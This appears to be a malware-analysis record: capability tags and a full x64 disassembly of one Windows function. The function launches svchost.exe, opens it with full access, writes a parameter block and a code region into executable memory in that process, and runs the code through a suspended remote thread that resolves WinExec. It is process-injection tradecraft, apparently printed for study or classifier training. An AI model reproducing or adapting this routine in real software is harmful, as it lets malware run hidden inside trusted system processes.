Function at 0x180008e20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Get common file path
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 0x68]
call fcn.180015b40
xor r12d, r12d
xor r11d, r11d
lea rcx, [rbp + 0x101]
xor edx, edx
mov r8d, 0xfe
mov qword [rbx], r11
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov dword [rbp - 0x64], 1
mov word [rbp - 0x60], r12w
mov dword [rsp + 0x60], WSAGetLastError
mov byte [rbp + 0x100], r11b
call fcn.180015b40
lea rcx, [rbp + 0x100]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x100]
lea rdx, [0x180029ea8]
lea rcx, [rbp + 0x100]
mov byte [rbp + 0x103], r12b
call fcn.18000a0e0
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x100]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x214
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180008f1f
xor al, al
jmp 0x1800091b8
call fcn.180008d60
test eax, eax
jne 0x180008f18
mov r8d, dword [rbx + 0x10]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180008f18
lea rcx, [rbp - 0x30]
xor edx, edx
mov r8d, 0x130
mov qword [rsp + 0x438], rsi
call fcn.180015b40
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x180029eb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x180029ed0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x20], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.WinExec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x180029ee8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rbp + 0x202]
xor edx, edx
mov r8d, 0xf8
mov word [rbp + 0x200], r12w
mov dword [rbp - 0x10], eax
call fcn.180015b40
lea rdx, [rbp + 0x200]
mov r8d, 0xfa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x200]
lea rdx, [0x180029efc]
lea rcx, [rbp]
call fcn.18000a0e0
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x130
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18000907e
lea r8, [rbp - 0x30]
mov r9d, 0x130
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180009085
xor al, al
jmp 0x1800091b0
lea rax, [rsp + 0x50]
mov r9d, 1
mov r8d, 0x130
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x440], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x18000914a
lea r8, [0x180008cf0]
mov r9d, 0x1000
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000914a
lea rax, [rsp + 0x50]
mov r9d, 1
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x30], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r12, rax
test rax, rax
jne 0x18000914e
xor al, al
jmp 0x1800091a8
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x50]
mov r9d, 0x40
mov r8d, 0x130
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea r11, [rsp + 0x50]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x440]
mov rsi, qword [rsp + 0x438]
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x410
pop r12
pop rbx
pop rbp
ret